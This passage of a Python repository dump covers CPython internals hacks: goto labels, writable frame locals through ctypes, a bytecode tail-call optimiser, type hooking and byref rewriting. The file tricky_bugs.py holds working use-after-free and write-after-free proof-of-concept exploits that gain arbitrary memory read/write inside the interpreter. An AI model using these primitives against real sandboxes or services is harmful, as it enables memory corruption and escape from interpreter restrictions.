| 112 | print('| Test Function Jumps') 113 | def foo(var=1): 114 | label .A 115 | print('A', locals()) 116 | goto .end 117 | label .B 118 | print('B', locals()) 119 | label .end 120 | 121 | print('> goto .foo.A') 122 | goto .foo.A 123 | print('> goto .foo.B') 124 | goto .foo.B 125 | print('> goto .foo.with_args(var=2).B') 126 | goto .foo.with_args(var=2).B 127 | 128 | print('> goto *foo.with_args(var=3).A') 129 | goto *foo.with_args(var=3).A 130 | print('End Test Function Jumps') 131 | 132 | print('| Test Complex Jumps') 133 | from contextlib import contextmanager 134 | 135 | @contextmanager 136 | def mycontext(arg): 137 | print('entering', arg) 138 | yield 139 | print('exiting', arg) 140 | 141 | print('> Jump into nested Context Manager') 142 | goto .jmp_into_ctx 143 | with mycontext('ctx A'): 144 | print('skipped A') 145 | with mycontext('ctx B'): 146 | print('skipped B') 147 | label .jmp_into_ctx 148 | print('here') 149 | 150 | print('> Jump into For Loop') 151 | goto .jmp_into_loop 152 | for i in range(2): 153 | print('this does not run the first time') 154 | label .jmp_into_loop 155 | print(i) 156 | 157 | print('> Jump out of Context Manager') 158 | with mycontext('ctx A'): 159 | print('in A') 160 | goto .out_of_A # skip mycontext.__exit__ 161 | 162 | label .out_of_A 163 | print('| End Test Complex Jumps') -------------------------------------------------------------------------------- /f_locals.py: -------------------------------------------------------------------------------- 1 | from ctypes import ( 2 | sizeof, c_void_p, 3 | py_object, c_ssize_t, 4 | pointer, POINTER, 5 | addressof 6 | ) 7 | from _ctypes import Py_INCREF, Py_DECREF 8 | from collections.abc import MutableMapping 9 | import sys 10 | 11 | base_size = sizeof(c_void_p) 12 | FrameType = type(sys._getframe()) 13 | 14 | Null = type('',(),{'__repr__':lambda s:''})() 15 | 16 | def cast(cobj, ctyp): 17 | # custom `cast` function (with no safety checks) 18 | return ctyp.from_address(addressof(cobj)) 19 | 20 | class f_locals(MutableMapping): 21 | __invert__ = None 22 | def __init__(self, frame): 23 | self.frame = frame 24 | self.__lp = None 25 | 26 | def __repr__(self): 27 | if hasattr(self, '_r'): 28 | return '...' 29 | self._r = True 30 | try: 31 | return f'locals: {", ".join(f"{k}={v!r}" for k, v in self.items())}' 32 | finally: 33 | del self._r 34 | 35 | @property 36 | def _lp(self): 37 | if self.__lp is None: 38 | addr = id(self.frame) + FrameType.__basicsize__ - base_size 39 | # get offset for locals array on `self.frame` object 40 | self.__lp = (py_object*len(self)).from_address(addr) 41 | return self.__lp 42 | 43 | def __getitem__(self, key): 44 | names = list(self) 45 | if key not in names: 46 | raise KeyError(key) 47 | try: 48 | return self._lp[names.index(key)] 49 | except ValueError: 50 | return Null 51 | 52 | def __setitem__(self, key, value): 53 | names = list(self) 54 | if key not in names: 55 | raise KeyError(key) 56 | del self[key] 57 | if value is not Null: 58 | Py_INCREF(value) 59 | self._lp[names.index(key)] = value 60 | 61 | def __delitem__(self, key): 62 | names = list(self) 63 | if key not in names: 64 | raise KeyError(key) 65 | idx = names.index(key) 66 | try: 67 | Py_DECREF(self._lp[idx]) 68 | except ValueError: 69 | pass 70 | cast(self._lp, (c_void_p*len(self)))[idx] = None 71 | 72 | def __iter__(self): 73 | return iter(self.frame.f_code.co_varnames) 74 | 75 | def __len__(self): 76 | return len(self.frame.f_code.co_varnames) 77 | 78 | def getclsdict(cls): 79 | mapping = cls.__dict__ 80 | if isinstance(mapping, dict): 81 | return mapping 82 | return py_object.from_address(id(mapping) + 2 * sizeof(c_void_p)).value 83 | 84 | # Here we take adavantage of `tp_as_number.nb_invert` and the `FrameType.f_locals.__get__` 85 | # having compatible C signatures 86 | # These modifications cause the following execution flow when `frame.f_locals` occurs: 87 | # (FrameType + offsetof(PyGetSetDef))[index of `f_locals`].get(frame) 88 | # We have set `get` to `tp_as_number.nb_invert`, so this in turn looks up 89 | # `__invert__` in the types dictionary mapping and calls that python function with the argument `frame` 90 | # the result of this python function is returned by `get` 91 | 92 | # get function address of nb_invert from `f_locals` class 93 | # we dont need to care about the offset that `nb_invert` is at because it is the only non-null address 94 | nb_invert = sum(POINTER(c_ssize_t*36).from_address(id(f_locals) + 12 * base_size).contents) 95 | # delete the attribute, we already have the address we needed 96 | del f_locals.__invert__ 97 | # offsetof(PyGetSetDef) // base_size == 31 98 | # the `f_locals` PyGetSetDef happens to be first in this array 99 | # NOTE: alternatively, this address could be retrieved from `FrameType.f_locals` 100 | # which is a `getset_descriptor` object 101 | getset_ptr = c_void_p.from_address(id(FrameType) + 31 * base_size).value 102 | # `get` is the second pointer in the PyGetSetDef structure 103 | # NOTE: the first is a `c_char_p` that contains its attribute name 104 | f_locals_get_ptr = c_void_p.from_address(getset_ptr + base_size) 105 | # we set this function pointer to `nb_invert` 106 | f_locals_get_ptr.value = nb_invert 107 | # set `__invert__` in the class dictionary 108 | # otherwise `nb_invert` will raise an AttributeError 109 | getclsdict(FrameType)['__invert__'] = lambda frame: f_locals(frame) 110 | # NOTE: This does not enable `~frame == frame.f_locals` 111 | # To do that, `FrameType.tp_as_number.nb_invert` must be set 112 | 113 | (__builtins__ if isinstance(__builtins__, dict) else __builtins__.__dict__)['locals'] = lambda:sys._getframe(1).f_locals 114 | 115 | def test_reassign(): 116 | abc = 'Old Value' 117 | print(abc) # 'Old Value' 118 | locals()['abc'] = 'New Value' 119 | print(abc) # 'New Value' 120 | 121 | def test_preassign(): 122 | locals()['abc'] = 'New Value' 123 | print(abc) 124 | abc = None # forces abc to be a local 125 | 126 | def test_dellocal(): 127 | abc = 'Old Value' 128 | del locals()['abc'] 129 | print(abc) 130 | 131 | def test_setnull(): 132 | abc = 'Old Value' 133 | locals()['abc'] = Null 134 | print(abc) 135 | 136 | def set_local(name, value): 137 | frame = sys._getframe(1) 138 | frame.f_locals[name] = value 139 | 140 | def foo(): 141 | set_local('abc', 'Value') 142 | print(abc) 143 | abc = None # forces abc to be a local 144 | -------------------------------------------------------------------------------- /tco.py: -------------------------------------------------------------------------------- 1 | import dis 2 | import sys 3 | 4 | # currently does not handle EXTENDED_ARG properly 5 | # needs new logic and rewrite 6 | 7 | def decompile(byc): 8 | jmp_tbl = {} 9 | decomp = [] 10 | idx = 0 11 | while idx < len(byc): 12 | op, arg = byc[idx: idx + 2] 13 | idx += 2 14 | nExt = 0 15 | while dis.opname[op] == 'EXTENDED_ARG': 16 | oarg = arg 17 | op, arg = byc[idx: idx + 2] 18 | arg |= oarg << 8 19 | idx += 2 20 | nExt += 1 21 | name = dis.opname[op] 22 | if 'JUMP' in name and name != 'JUMP_FORWARD': 23 | arg -= nExt 24 | decomp.append([name, arg]) 25 | for idx, ((op, arg), lst) in enumerate(zip(decomp, decomp)): 26 | narg = arg // (2 if sys.version_info < (3, 10) else 1) 27 | if op == 'JUMP_FORWARD': 28 | jmp_tbl[id(lst)] = decomp[idx + narg + 1] 29 | elif 'JUMP' in op: 30 | jmp_tbl[id(lst)] = decomp[narg] 31 | return decomp, jmp_tbl 32 | 33 | def insert_extensions(decomp): 34 | cpy = decomp.copy() 35 | while True: 36 | for idx, (op, arg) in enumerate(decomp[:]): 37 | nshift = (arg.bit_length() / 8).__ceil__() 38 | if op != 'JUMP_FORWARD' and 'JUMP' in op and nshift: 39 | arg += (nshift - 1) * (2 if sys.version_info < (3, 10) else 1) 40 | if arg > 255: 41 | decomp[idx][1] = arg & 255 42 | decomp.insert(idx, ['EXTENDED_ARG', arg >> 8]) 43 | break 44 | if cpy != decomp: 45 | cpy = decomp.copy() 46 | else: 47 | break 48 | 49 | def find(decomp, dest): 50 | for idx, lst in enumerate(decomp): 51 | if lst is dest: 52 | return idx 53 | 54 | def recompile(decomp, jmp_tbl): 55 | insert_extensions(decomp) # insert EXTENDED_ARG for non JUMPs 56 | for idx, ((op, arg), lst) in enumerate(zip(decomp, decomp)): 57 | if 'JUMP' in op: 58 | offset = (idx + 1) if op == 'JUMP_FORWARD' else 0 59 | dest_op = jmp_tbl.get(id(lst)) 60 | if (dest := find(decomp, dest_op)) is not None: 61 | lst[1] = (dest - offset) * (2 if sys.version_info < (3, 10) else 1) 62 | insert_extensions(decomp) # insert EXTENDED_ARG for JUMPs 63 | return b''.join(bytes([dis.opmap[op], arg]) for op, arg in decomp) 64 | 65 | def compute_stack_effect(segment, jmp_tbl): 66 | SE = 0 67 | idx = 0 68 | while idx < len(segment): 69 | (op, arg) = lst = segment[idx] 70 | isjump = 'JUMP' in op 71 | SE += dis.stack_effect( 72 | dis.opmap[op], 73 | arg if dis.opmap[op] > dis.HAVE_ARGUMENT else None, 74 | jump = isjump 75 | ) 76 | if isjump: 77 | idx = find(segment, jmp_tbl[id(lst)]) 78 | else: 79 | idx += 1 80 | return SE 81 | 82 | def get_name(code, op, arg): 83 | names = { 84 | 'LOAD_FAST': code.co_varnames, 85 | 'LOAD_NAME': code.co_names, 86 | 'LOAD_GLOBAL': code.co_names, 87 | 'LOAD_DEREF': code.co_freevars, 88 | }.get(op) 89 | if names is None: 90 | return 91 | return names[arg] 92 | 93 | def find_tco_segment(code, decomp, jmp_tbl): 94 | for idx, (op, arg) in enumerate(decomp): 95 | if op != 'CALL_FUNCTION' or decomp[idx + 1] != ['RETURN_VALUE', 0]: 96 | continue 97 | for b in range(idx + 1): 98 | bop, barg = decomp[idx - b] 99 | if get_name(code, bop, barg) == code.co_name and \ 100 | arg == compute_stack_effect(decomp[idx - b + 1: idx], jmp_tbl): 101 | return arg, b, idx 102 | 103 | def single_pass_tco(code): 104 | decomp, jmp_tbl = decompile(code.co_code) 105 | if segment := find_tco_segment(code, decomp, jmp_tbl): 106 | arg_count, start, end = segment 107 | decomp[end - start][:] = ['NOP', 0] 108 | decomp[end][:] = ['JUMP_ABSOLUTE', 0] 109 | jmp_tbl[id(decomp[end])] = decomp[0] 110 | del decomp[end + 1] 111 | for i in range(arg_count): 112 | decomp.insert(end, ['STORE_FAST', i]) 113 | return code.replace(co_code=recompile(decomp, jmp_tbl)) 114 | 115 | def tco(func): 116 | code = func.__orig_code__ = func.__code__ 117 | while code != (code := single_pass_tco(code)): 118 | pass 119 | func.__code__ = code 120 | return func 121 | 122 | #*-- TESTING --*# 123 | 124 | @tco 125 | def fact(n, acc=1): 126 | if (n < 2): 127 | return acc 128 | return fact(n - 1, n * acc) 129 | 130 | #dis.dis(fact) 131 | 132 | def fib(n=1000, a=0, b=1): 133 | if n == 0: 134 | return a 135 | if n == 1: 136 | return b 137 | return fib(n - 1, b, a + b) 138 | 139 | #import timeit 140 | #import sys 141 | #sys.setrecursionlimit(2000) 142 | #print(timeit.timeit(fib, number=10000)) 143 | #print(timeit.timeit(tco(fib), number=10000)) 144 | 145 | def test(): 146 | import gc 147 | for obj in gc.get_objects(): 148 | if hasattr(obj, '__code__'): 149 | ocode = obj.__code__.co_code 150 | ncode = recompile(*decompile(ocode)) 151 | assert ocode == ncode, f'Fail: {obj.__name__}' 152 | print(f'Success: {obj.__name__}') 153 | -------------------------------------------------------------------------------- /small_hook_writeup.py: -------------------------------------------------------------------------------- 1 | BYTES_HEADER = bytes.__basicsize__ - 1 # constant value, gives offset into bytes->ob_sval array 2 | PTR_SIZE = tuple.__itemsize__ # constant value, size of pointer (4 or 8) 3 | ENDIAN = ['little','big'][1%memoryview(b'\1\0').cast('h')[0]] 4 | # ^ constant value, obtains the endian for the system, creates a 2 byte array, casts to a short (2 byte number) 5 | # this number is dependent on the endian, so you can use it to detect the endian of the system. 6 | # big: 256, little: 1 7 | 8 | ## Constant Flag Values (see object.h) 9 | Py_TPFLAGS_VALID_VERSION_TAG = 1 << 19 10 | Py_TPFLAGS_IMMUTABLETYPE = 1 << 8 # 3.10 11 | Py_TPFLAGS_HEAPTYPE = 1 << 9 12 | 13 | def sizeof(obj): 14 | '''sizeof that works on arbitrary objects''' 15 | return type(obj).__sizeof__(obj) 16 | 17 | def make_getmem(): 18 | '''closure based exploit to allow the loading of arbitrary addresses''' 19 | 20 | # constructs a function that returns a function 21 | # inner function has 2 closure variables 22 | # the outer function has one opcode (LOAD_CLOSURE) changed to (LOAD_DEREF) 23 | # this makes the inner function load addressof(n) + (PTR_SIZE * 3) as a python object 24 | # in a range_iter object, this third value is a c long of the current index of the iterator 25 | # this index can be set using `__setstate__` 26 | # the resulting function `load_addr` sets this index to an address, and then loads `n` 27 | # loading `n` actually loads addressof(n) + (PTR_SIZE * 3), allowing for an arbitrary address to be loaded 28 | load_addr = type(m:=lambda n,s:lambda v:s(v)or n)( 29 | (M:=m.__code__).replace( 30 | co_code=b'\x88'+M.co_code[1:] 31 | ),{} 32 | )(r:=iter(range(2**63-1)),r.__setstate__) 33 | 34 | # constructs a fake bytearray that points to the entire address space 35 | memory_backing = bytes(PTR_SIZE) \ 36 | + id(bytearray).to_bytes(PTR_SIZE, ENDIAN) \ 37 | + bytes([255] * (PTR_SIZE - 1) + [127]) \ 38 | + bytes(PTR_SIZE * 4) 39 | 40 | memory = memoryview(load_addr(id(memory_backing) + BYTES_HEADER)) 41 | 42 | def getmem(start, size, fmt='c', _=memory_backing): 43 | return memory[start:start + size].cast(fmt) 44 | 45 | # returns a function that generates a rw segment of memory that points to `start` 46 | return getmem 47 | 48 | getmem = make_getmem() 49 | 50 | def alloc(size, _storage=[]): 51 | '''allocates size inside a bytes object, then returns the address of the `ob_sval` array''' 52 | _storage.append(bytes(size)) 53 | return id(_storage[-1]) + BYTES_HEADER 54 | 55 | def PyType_Modified(cls): 56 | '''pure python implementation of `PyType_Modified` (see typeobject.c)''' 57 | cls_mem = getmem(id(cls), sizeof(cls), 'il'[PTR_SIZE==8]) 58 | flags = cls.__flags__ 59 | flag_offset = cls_mem.tolist().index(flags) 60 | if not cls.__flags__ & Py_TPFLAGS_VALID_VERSION_TAG: 61 | return 62 | for subcls in type(cls).__subclasses__(cls): 63 | PyType_Modified(subcls) 64 | cls_mem[flag_offset] &= ~Py_TPFLAGS_VALID_VERSION_TAG 65 | 66 | def get_structs(htc=type('',(),{'__slots__':()})): 67 | '''generates the offset and size of internal `tp_as_*` structs''' 68 | htc_mem = getmem(id(htc), sizeof(htc), 'il'[PTR_SIZE==8]) 69 | last = None 70 | for ptr, idx in sorted([(ptr, idx) for idx, ptr in enumerate(htc_mem) 71 | if id(htc) < ptr < id(htc) + sizeof(htc)]): 72 | if last: 73 | offset, lp = last 74 | yield offset, ptr - lp 75 | last = idx, ptr 76 | 77 | cache = {} 78 | def orig(*args, **kwargs): 79 | '''attempts to retrieve and call the cached original implementation''' 80 | try:raise 81 | except Exception as e: 82 | frame = e.__traceback__.tb_frame 83 | while frame: 84 | addr = id(frame.f_code) 85 | if addr in cache: 86 | return cache.get(addr)(*args, **kwargs) 87 | frame = frame.f_back 88 | raise RuntimeError('original implementation not found') 89 | 90 | def allocate_structs(cls): 91 | '''recursively allocates tp_as_* structs''' 92 | cls_mem = getmem(id(cls), sizeof(cls), 'il'[PTR_SIZE==8]) 93 | for offset, size in get_structs(): 94 | if not cls_mem[offset]: 95 | cls_mem[offset] = alloc(size) 96 | for subcls in type(cls).__subclasses__(cls): 97 | allocate_structs(subcls) 98 | return cls_mem 99 | 100 | def hook(cls, name=None, attr=None): 101 | '''where the magic happens''' 102 | def wrapper(attr): 103 | nonlocal name 104 | name = name or attr.__name__ 105 | cls_mem = allocate_structs(cls) 106 | flags = cls.__flags__ # store original flags 107 | flag_offset = cls_mem.tolist().index(flags) 108 | if hasattr(attr, '__code__') and hasattr(cls, name): 109 | cache[id(attr.__code__)] = getattr(cls, name) # add original implementationt to the cache 110 | try: 111 | cls_mem[flag_offset] |= Py_TPFLAGS_HEAPTYPE # set `Py_TPFLAGS_HEAPTYPE` flag to 1 112 | cls_mem[flag_offset] &= ~Py_TPFLAGS_IMMUTABLETYPE # set`Py_TPFLAGS_IMMUTABLETYPE` to 0 113 | setattr(cls, name, attr) # attempt to set attribute 114 | finally: 115 | cls_mem[flag_offset] = flags # set flags back to original 116 | PyType_Modified(cls) # signal to subclasses that updates have been made 117 | return attr 118 | if attr is None: 119 | return wrapper 120 | else: 121 | return wrapper(attr) 122 | -------------------------------------------------------------------------------- /tricky_bugs.py: -------------------------------------------------------------------------------- 1 | # most UAF/WAF bugs only work on release builds reliably 2 | 3 | # POC Exploit for Write After Free & Use After Free 4 | # https://github.com/python/cpython/issues/91153 5 | to_write_after_free = bytearray(bytearray.__basicsize__) 6 | class sneaky: 7 | def __index__(self): 8 | global to_corrupt_ob_exports, to_uaf 9 | to_corrupt_ob_exports = to_write_after_free.clear() \ 10 | or bytearray(bytearray.__basicsize__) 11 | to_uaf = memoryview(to_corrupt_ob_exports) 12 | return 0 13 | 14 | to_write_after_free[-tuple.__itemsize__] = sneaky() 15 | occupy_uaf = to_corrupt_ob_exports.clear() \ 16 | or bytearray() 17 | 18 | view_backing = to_uaf.cast('P') 19 | view = occupy_uaf 20 | 21 | view_backing[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2 22 | memory = memoryview(view) 23 | 24 | # UAF in bytearray_ass_subscript 25 | to_write_after_free = bytearray(bytearray.__basicsize__) 26 | class sneaky: 27 | def __index__(self): 28 | del to_write_after_free[:] # free to_write_after_free memory 29 | s.to_corrupt_ob_exports = bytearray(bytearray.__basicsize__) 30 | # fill to_write_after_free memory with to_corrupt_ob_exports 31 | to_write_after_free.__init__(bytearray.__basicsize__) # refill to_write_after_free 32 | s.to_uaf = memoryview(s.to_corrupt_ob_exports) # make a memoryview over to_write_after_free memory 33 | return -tuple.__itemsize__ 34 | 35 | to_write_after_free[s:=sneaky()] = 0 # write zero into to_corrupt_ob_exports->ob_exports 36 | occupy_uaf = s.to_corrupt_ob_exports.clear() \ 37 | or bytearray() 38 | # free backing mem of to_corrupt_ob_exports (while retaining view over it) 39 | # fill backing mem with new bytearray 40 | 41 | # now occupy_uaf occupies the view backing of to_uaf 42 | 43 | view_backing = s.to_uaf.cast('P') 44 | view = occupy_uaf 45 | 46 | view_backing[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2 47 | # write max size into view->ob_size 48 | memory = memoryview(view) 49 | # Done :) 50 | 51 | # memoryview Use After Free (memory_ass_sub) 52 | uaf_backing = bytearray(bytearray.__basicsize__) 53 | uaf_view = memoryview(uaf_backing).cast('n') # ssize_t format 54 | 55 | class weird_index: 56 | def __index__(self): 57 | uaf_view.release() # release memoryview (UAF) 58 | # free `uiaf_backing` memory and allocate a new bytearray into it 59 | self.memory_backing = uaf_backing.clear() or bytearray() 60 | return 2 # `ob_size` idx 61 | 62 | # by the time this line finishes executing, it writes the max ptr size 63 | # into the `ob_size` slot (2) of `memory_backing` 64 | uaf_view[w:=weird_index()] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2 65 | memory = memoryview(w.memory_backing) 66 | 67 | # memoryview Use After Free (pack_single) 68 | uaf_backing = bytearray(bytearray.__basicsize__) 69 | uaf_view = memoryview(uaf_backing).cast('n') # ssize_t format 70 | 71 | class weird_index: 72 | def __index__(self): 73 | uaf_view.release() # release memoryview (UAF) 74 | # free `uaf_backing` memory and allocate a new bytearray into it 75 | self.memory_backing = uaf_backing.clear() or bytearray() 76 | return (2 ** (tuple.__itemsize__ * 8) - 1) // 2 # `ob_size` value 77 | 78 | # by the time this line finishes executing, it writes the max ptr size 79 | # into the `ob_size` slot (2) of `memory_backing` 80 | # this is because the buffer that uaf_view references now points to `memory_backing` 81 | uaf_view[2] = w = weird_index() 82 | memory = memoryview(w.memory_backing) 83 | 84 | # Use After Free in list_concat by abusing GC 85 | a = [None] * 15 86 | fake_mem = b''.join([ 87 | (14).to_bytes(tuple.__itemsize__, 'little'), 88 | id(bytearray).to_bytes(tuple.__itemsize__, 'little'), 89 | ((2 ** (tuple.__itemsize__ * 8) - 1) // 2).to_bytes(tuple.__itemsize__, 'little'), 90 | bytes(4 * tuple.__itemsize__) 91 | ]) 92 | addr = (id(fake_mem) + bytes.__basicsize__ - 1).to_bytes(tuple.__itemsize__, 'little') 93 | class A: 94 | def __init__(self): 95 | self.s = self 96 | def __del__(self): 97 | a.clear() # shrink a 98 | bytearray(addr * 15).clear() # reclaim a's memory, fill with addr * 15 then free 99 | a.append(None) # add single value to a to avoid some corruption that occurs otherwise 100 | # now, when the function returns, the memory used for the new list is the same memory 101 | # that the bytearray used to hold and since a has shrank, we never overwrite what was there 102 | # allowing us to reference a fake bytearray 103 | 104 | v = [] 105 | A() 106 | while len(a) > 1: 107 | v.append(a + []) 108 | 109 | mem_array = v[-1][-1] 110 | memory = memoryview(mem_array) 111 | 112 | a = [None] 113 | fake_mem = b''.join([ 114 | (14).to_bytes(tuple.__itemsize__, 'little'), 115 | id(bytearray).to_bytes(tuple.__itemsize__, 'little'), 116 | ((2 ** (tuple.__itemsize__ * 8) - 1) // 2).to_bytes(tuple.__itemsize__, 'little'), 117 | bytes(4 * tuple.__itemsize__) 118 | ]) 119 | addr = (id(fake_mem) + bytes.__basicsize__ - 1).to_bytes(tuple.__itemsize__, 'little') * 15 120 | class A: 121 | def __init__(self): 122 | self.s = self 123 | def __del__(self): 124 | a.clear() 125 | bytearray(addr).clear() 126 | 127 | v = [] 128 | A() 129 | while len(a) == 1: 130 | v.append(a * 15) 131 | 132 | mem = memoryview(v[-1][-1]) 133 | print(mem, len(mem)) 134 | 135 | # WAF in array.*_setitem 136 | from array import array 137 | 138 | class A: 139 | def __init__(self): 140 | self.a = array('l', [0]*((bytearray.__basicsize__ // 8) * 5000)) 141 | 142 | def __index__(self): 143 | del self.a[:] 144 | self.a.extend([0]*(bytearray.__basicsize__ // 8)) 145 | self.b = [bytearray() for _ in range(5000)] 146 | return (2 ** (tuple.__itemsize__ * 8) - 1) // 2 147 | 148 | s.a[10] = (s:=A()) 149 | for mem in s.b: 150 | if len(mem) > 1: 151 | break 152 | 153 | mem = memoryview(mem) 154 | print(mem, len(mem)) 155 | # Done :) -------------------------------------------------------------------------------- /byref.py: -------------------------------------------------------------------------------- 1 | import sys, dis 2 | 3 | from asm_hook import hook 4 | from ctypes import pythonapi, py_object, c_void_p 5 | import f_locals # enable f_locals being writeable 6 | from functools import wraps 7 | 8 | # needed to hook into `STORE_GLOBAL` opcode 9 | @hook(pythonapi.PyDict_SetItem, argtypes=[py_object]*3, restype=c_void_p) 10 | def pydict_setitemhook(mp, key, val): 11 | mp[key] = val 12 | 13 | def find_segments(co_code, idx, end_size): 14 | # take in set of opcodes and final stack size 15 | # determine segments of code for each final stack item 16 | stack_size = 0 17 | isjump = [*dis.hasjabs, *dis.hasjrel].__contains__ 18 | segments = [] 19 | seg = bytearray() 20 | seg_marker = 0 21 | while isjump(co_code[idx]) or stack_size != end_size: 22 | opcode = co_code[idx] 23 | oparg = co_code[idx + 1] 24 | seg[:] = bytes([opcode, oparg]) + seg 25 | jump = False if isjump(opcode) else None 26 | change = dis.stack_effect(opcode, oparg if opcode >= dis.HAVE_ARGUMENT else None, jump=jump) 27 | stack_size += change 28 | seg_marker += change 29 | idx -= 2 30 | if seg_marker == 1 and not isjump(co_code[idx]): 31 | segments.append(seg) 32 | seg = bytearray() 33 | seg_marker = 0 34 | return list(reversed(segments)) 35 | 36 | class magic_globals(dict): 37 | def __init__(self, mp): 38 | self.o_mp = mp 39 | self.mlocs = {} 40 | self.mglobs = {} 41 | super().__init__(mp) 42 | 43 | def _register_frame(self, frame): 44 | self._frame = frame 45 | 46 | def _register_local(self, mkey, idx): 47 | self.mlocs[mkey] = self._frame.f_code.co_varnames[idx] 48 | 49 | def _register_global(self, mkey, idx): 50 | self.mglobs[mkey] = self._frame.f_code.co_names[idx] 51 | 52 | def _clear_registry(self): 53 | del self._frame 54 | self.mlocs.clear() 55 | self.mglobs.clear() 56 | 57 | def __setitem__(self, key, val): 58 | if isinstance(key, str) and key[0] == '!': 59 | key = key[1:] 60 | if key in self.mlocs: 61 | self._frame.f_locals[self.mlocs[key]] = val 62 | elif key in self.mglobs: 63 | self._frame.f_globals[self.mglobs[key]] = val 64 | else: 65 | raise RuntimeError('Byref Var did not recieve direct reference') 66 | else: 67 | self.o_mp[key] = val 68 | 69 | def __getitem__(self, key): 70 | if isinstance(key, str) and key[0] == '!': 71 | key = key[1:] 72 | if key in self.mlocs: 73 | return self._frame.f_locals[self.mlocs[key]] 74 | elif key in self.mglobs: 75 | return self._frame.f_globals[self.mglobs[key]] 76 | else: 77 | raise RuntimeError('Byref Var did not recieve direct reference') 78 | return self.o_mp[key] 79 | 80 | class Byref: 81 | def __init__(self, typ=None): 82 | self.typ = typ 83 | 84 | def __getitem__(self, ntyp): 85 | return self.__class__(ntyp) 86 | 87 | def __call__(self, func): 88 | mapping = func.__annotations__ 89 | varnames = func.__code__.co_varnames 90 | pairs = {name: mapping.get(name) for name in varnames} 91 | for name, o in pairs.items(): 92 | if isinstance(o, Byref): 93 | mapping[name] = o.typ 94 | orig_globals = func.__globals__ 95 | co_code = bytearray(func.__code__.co_code) 96 | names = [] 97 | for (i, (op, arg)) in enumerate(zip(co_code[::2], co_code[1::2])): 98 | opname = dis.opname[op] 99 | if opname in ['LOAD_FAST', 'STORE_FAST', 'DELETE_FAST'] and (dr := pairs.get(name := varnames[arg])): 100 | if f'!{name}' not in names: 101 | names.append(f'!{name}') 102 | i *= 2 103 | co_code[i] = dis.opmap[opname.split('_')[0] + '_GLOBAL'] 104 | co_code[i+1] = len(func.__code__.co_names) + names.index(f'!{name}') 105 | ncode = func.__code__.replace(co_code=bytes(co_code), co_names=func.__code__.co_names + tuple(names)) 106 | nfunc = type(func)(ncode, magic_globals(orig_globals), None, func.__defaults__) 107 | @wraps(nfunc) 108 | def wrapper(*a, **k): 109 | caller_frame = sys._getframe(1) 110 | nfunc.__globals__._register_frame(caller_frame) 111 | idx = caller_frame.f_lasti 112 | co_code = caller_frame.f_code.co_code 113 | opname = dis.opname[co_code[idx]] 114 | oparg = co_code[idx + 1] 115 | if opname == 'CALL_FUNCTION': 116 | segments = find_segments(co_code, idx - 2, oparg) 117 | elif opname == 'CALL_FUNCTION_EX': 118 | # does not work if kwargs are present (fml edge cases) 119 | seg, *kwargs = find_segments(co_code, idx - 2, oparg + 1) 120 | del seg[-2:] # delete LIST_TO_TUPLE 121 | if seg[0] == dis.opmap['BUILD_LIST']: 122 | raise RuntimeError('Byref Var must come before expanding postional argumets') 123 | while seg[-2] == dis.opmap['LIST_EXTEND']: 124 | del seg[-2:] # delete LIST_EXTEND 125 | del seg[-len(*find_segments(seg, len(seg) - 2, 1)):] 126 | oparg = seg[-1] 127 | del seg[-2:] # delete BUILD_LIST 128 | if not seg: 129 | segments = [] 130 | else: 131 | segments = find_segments(seg, len(seg) - 2, oparg) 132 | if kwargs: 133 | breakpoint() 134 | elif opname == 'CALL_FUNCTION_KW': 135 | # does not work if args are present additional to the kwargs (fml edge cases) 136 | segments = find_segments(co_code, idx - 2, oparg + 1)[:-1] 137 | for (varname, o), seg in zip(pairs.items(), segments): 138 | if len(seg) == 2 and isinstance(o, Byref): 139 | op, arg = seg 140 | if op in [dis.opmap['LOAD_GLOBAL'], dis.opmap['LOAD_NAME']]: 141 | nfunc.__globals__._register_global(varname, arg) 142 | elif op == dis.opmap['LOAD_FAST']: 143 | nfunc.__globals__._register_local(varname, arg) 144 | else: 145 | raise RuntimeError('Byref Var did not recieve direct reference') 146 | elif isinstance(o, Byref): 147 | raise RuntimeError('Byref Var did not recieve direct reference') 148 | try: 149 | return nfunc(*a, **k) 150 | finally: 151 | nfunc.__globals__._clear_registry() 152 | return wrapper 153 | 154 | byref = Byref() 155 | 156 | @byref 157 | def inc(ref_x: byref): 158 | ref_x += 1 159 | 160 | a = 0 161 | inc(a) 162 | print(a) 163 | -------------------------------------------------------------------------------- /native_ctypes/__init__.py: -------------------------------------------------------------------------------- 1 | from .load_addr import * 2 | from .util import * 3 | from .bases import * 4 | 5 | 6 | class c_char(c_data): 7 | _size_ = 1 8 | _format_ = 'c' 9 | 10 | class c_ubyte(c_data): 11 | _size_ = 1 12 | _format_ = 'B' 13 | 14 | class c_byte(c_data): 15 | _size_ = 1 16 | _format_ = 'b' 17 | 18 | class c_ushort(c_data): 19 | _size_ = 2 20 | _format_ = 'H' 21 | 22 | class c_short(c_data): 23 | _size_ = 2 24 | _format_ = 'h' 25 | 26 | class c_uint(c_data): 27 | _size_ = 4 28 | _format_ = 'I' 29 | 30 | class c_int(c_data): 31 | _size_ = 4 32 | _format_ = 'i' 33 | 34 | class c_ulong(c_data): 35 | _size_ = 8 36 | _format_ = 'L' 37 | 38 | class c_long(c_data): 39 | _size_ = 8 40 | _format_ = 'l' 41 | 42 | class c_float(c_data): 43 | _size_ = 4 44 | _format_ = 'f' 45 | 46 | class c_double(c_data): 47 | _size_ = 8 48 | _format_ = 'd' 49 | 50 | class c_size_t(c_data): 51 | _size_ = PTR_SIZE 52 | _format_ = 'N' 53 | 54 | class c_ssize_t(c_data): 55 | _size_ = PTR_SIZE 56 | _format_ = 'n' 57 | 58 | class c_void_p(c_data): 59 | _size_ = PTR_SIZE 60 | _format_ = 'P' 61 | def __getitem__(self, idx): 62 | return type(self).from_address(self.addr + (self._size_ * idx)).value 63 | 64 | def __setitem__(self, idx, value): 65 | type(self).from_address(self.addr + (self._size_ * idx)).value = value 66 | 67 | def __add__(self, n): 68 | return type(self).from_address(self.addr + (self._size_ * n)) 69 | 70 | def __sub__(self, n): 71 | return type(self).from_address(self.addr - (self._size_ * n)) 72 | 73 | class c_ptr(c_void_p): 74 | _typed_ = True 75 | 76 | class c_char_p(c_void_p): 77 | def _get_(self): 78 | value = b'' 79 | addr = super()._get_() 80 | if addr: 81 | arr = (c_char*None).from_address(addr) 82 | value = b''.join(arr.value) 83 | return value 84 | 85 | def _set_(self, value): 86 | o_addr = super()._get_() 87 | if is_allocated(o_addr): 88 | free(o_addr) 89 | new = (c_ubyte*len(value))(value) # iter(value) yields 